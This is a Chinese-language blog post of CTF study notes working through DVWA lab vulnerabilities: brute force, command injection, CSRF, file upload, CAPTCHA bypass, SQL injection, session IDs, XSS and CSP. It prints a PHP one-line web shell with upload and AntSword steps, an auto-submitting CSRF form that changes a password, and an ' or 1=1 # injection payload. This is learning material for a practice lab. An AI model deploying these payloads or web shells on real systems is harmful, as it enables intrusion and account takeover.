CTF基础(学习笔记)

1、暴力破解

直接使用burpsuite破解即可

2、命令行注入

ping后面加入&&链接符:表示ping完这个网站之后再执行&只有的语句

3、CSRF:跨站请求伪造

我们点击之后,上面的域名就会改变,用户的密码就会被改,但是这个时候用户知道自己的密码被改了,所以我们需要在用户不知情的基础上改变用户的密码eg:

4、文件包含漏洞

当我们点开的时候,我们会发现url的值也会发生改变,于是我们可以试试直接修改URL

5、文件上传(利用文件上传的功能植入脚本文件从而获取网站权限)(一句话木马)

首先我们写一个php脚本

<?php @eval($_POST['cmd']);?>

@符号的意思是不报错,即使执行错误,也不报错。

然后导入我们的脚本文件(可以发现脚本文件导入成功,在网站的目录里面)

我们可以发现找到了文件的目录;接下来使用蚁剑扫描即可

注意这个密码是和脚本相同的:cmd即可

例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。

这里就能看到目标主机的目录了!实现控制电脑的操作!

6、Insecure CAPTCHA(不安全的验证码)

就是我们可以通过修改一些值跳过验证码的验证环节

注意这个函数:recaptcha_check_answer()函数:

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 函数

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

原文链接:https://blog.csdn.net/qq_44598397/article/details/101376599

查看网页源代码,发现第二部操作就是直接朝着数据库写入数据了。

所以我们可以通过抓包的方式修改step的值

从而绕过第一步的验证,达到修改密码的目的

因为没有CSRF(防止跨站脚本)的防护;所以:当我们可以制作钓鱼网站,当用户登进我们这个网站的时候,改变原来网站的密码,从而得到盗取用户信息的目的

<html>      
 
<body onload="document.getElementById('transfer').submit()">        
 
  <div>    
 
    <form method="POST" id="transfer" action="http://127.0.0.1/DVWA/vulnerabilities/captcha/index.php">     
 
        <input type="hidden" name="password_new" value="hack">
 
        <input type="hidden" name="password_conf" value="hack">     
 
        <input type="hidden" name="step" value="2"      
 
        <input type="hidden" name="Change" value="Change">        
 
    </form>        
 
  </div>        
 
</body>
 
</html>

7、SQL注入

查看源代码,发现并没有正则表达式的验证,所以我们可以通过构造一些特殊的方式来实现数据库注入

eg:$Id=' or 1=1 # #表示注释

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; =

$query = "SELECT first_name, last_name FROM users WHERE user_id = ''' or 1=1 #';";

通过where判断or1=1则返回的为真;可以得到全部用户部分的信息

8、SQL Injection (Blind):关于时间的盲注:与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。(还不会,回来再看)

9、Weak Session IDs(弱会话ID)

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。 用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。 但是 session id 过于简单就会容易被人伪造。

9.5、XSS

跨站脚本攻击XSS(Cross Site Script) 为了不和层叠式演示表(Cascading Style Sheets,CSS) 的缩写混淆,顾将跨站脚本攻击缩写为XSS。恶意攻击者网web页面插入恶意Script代码,当用户浏览该页面时,嵌入web里面的script代码就会被执行,从而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS存在的根本原因是,对URL中的参数和对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中对用户提交的URL中的参数,和提交的所有内容进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。

10、XSS(DOM)

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

我们发现这个的选择之后会直接在URL上面显示,

所以:

所以:可以直接在URL上面输入一些不好的东西(基于没有任何防护措施的网页上)

11、XSS(stored)

存储型XSS:持久化,代码是存储在web服务器中的,比如在跟人信息或发表文章等地方插入代码,

如果没有过滤或者过滤不严,那么这些代码将存储在服务器中,用户访问该页面的时候触发代码执行。

这种XSS比较危险,容易造成蠕虫、盗窃cookie。每一个访问特定页面的用户,都会受到攻击。

特点:

1> XSS攻击代码存储于web server上;

2> 攻击者,一般是通过网站的留言、评论、博客、日志等等功能(所有能够向web server输入内容的地方),将攻击代码存储到web server上的;

这种存储型XSS就会在我们访问这个网页的时候执行我们事先存储好的代码:

12、XSS(Reflected)

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多是是用来盗取用户的cookie信息。只要用户点击特定恶意链接,服务器解析响应后,在返回的响应内出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被Web server反射回给浏览器执行,所以称为反射型XSS。

特点:

1> XSS攻击代码非持久性,也就是没有保存在web server中,而是出现在URL地址中;

2> 非持久性,那么攻击方式就不同了。一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,然后用户点击来达到攻击的;

有时持久性XSS和反射型XSS是同时使用的:

比如先通过对一个攻击url进行编码(来绕过xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,

如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击.

通过XSS(stored)型注入恶意代码(比如说注入恶意按钮,用户点击跳转到恶意钓鱼网站)

反射型XSS、存储型XSS及DOM型XSS到底有什么区别?????

一、被攻击对象的不同

反射型XSS的被攻击对象一般是攻击者去寻找的,就比如说:一个攻击者想盗取A的QQ号,那么攻击者就可以将一个含有反射型XSS的URL链接给A,此时我们可以看出,需要将特定的URL,注意是特定的URL给A,当A点击进入链接时,就受到XSS攻击,所以这种攻击范围不是特别的广。而存储型XSS是广撒网的方式或者指定的方式,就是攻击者将存储型XSS放在一些有XSS漏洞的网站上,只要有用户访问这个链接就会中招,而攻击者也可以寻找被攻击对象,比如说上面的例子,所以我们可以看出,存储型XSS的危害性更大,范围更广,可以不需要寻找被攻击对象,只要存储型XSS在服务器上就能实施攻击。

DOM型XSS的被攻击对象其实和反射型XSS被攻击对象差不多,就是给攻击对象放送URL。

二、解析位置不同(个人感觉是反射型与存储型区别的本质)

反射型XSS的脚本被解析的地方是浏览器,而存储型XSS的脚本被解析的地方是服务器,DOM型XSS也是浏览器,所以DOM型又叫DOM反射型XSS。但是反射型XSS需要联网,而DOM型不需要!

三、存储时间不同

反射型XSS是既有即用,没有持久性,而存储型XSS是存储在服务器上,只要服务器不挂机或者是被干掉,就一直会有,DOM型XSS和反射型差不多,但是用人就扯淡了,那反射型只要不改变源代码不就是一直存在吗?不是的,反射型XSS是必须得特定的URL才能使得被攻击对象中招,如果是单单官方网页,就没有了咯,存储型就不同,只要服务器里面有存储型XSS,不论是不是官网,被攻击对象都会被攻击。

四、允许输入点的不同(这是DOM型与其他两种的区别)

一般情况下,反射型XSS在搜索框啊,或者是页面跳转啊这些地方,而存储型XSS一般是留言,或者用户存储的地方,而DOM呢?是在DOM位置上,不取决于输入环境上。

原文链接:https://blog.csdn.net/qq_41734243/article/details/106123846

13、Content Security Policy (CSP) Bypass(绕过内容安全策略(CSP))(看不太懂,明天再看)

CSP - 内容安全策略:为了缓解很大一部分潜在的跨站脚本XSS问题,浏览器的扩展程序系统引入了内容安全策略CSP 的概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过HTTP头部信息或meta元素定义。CSP虽然提供了强大的安全保护,但是它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。

14、JavaScript Attacks

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值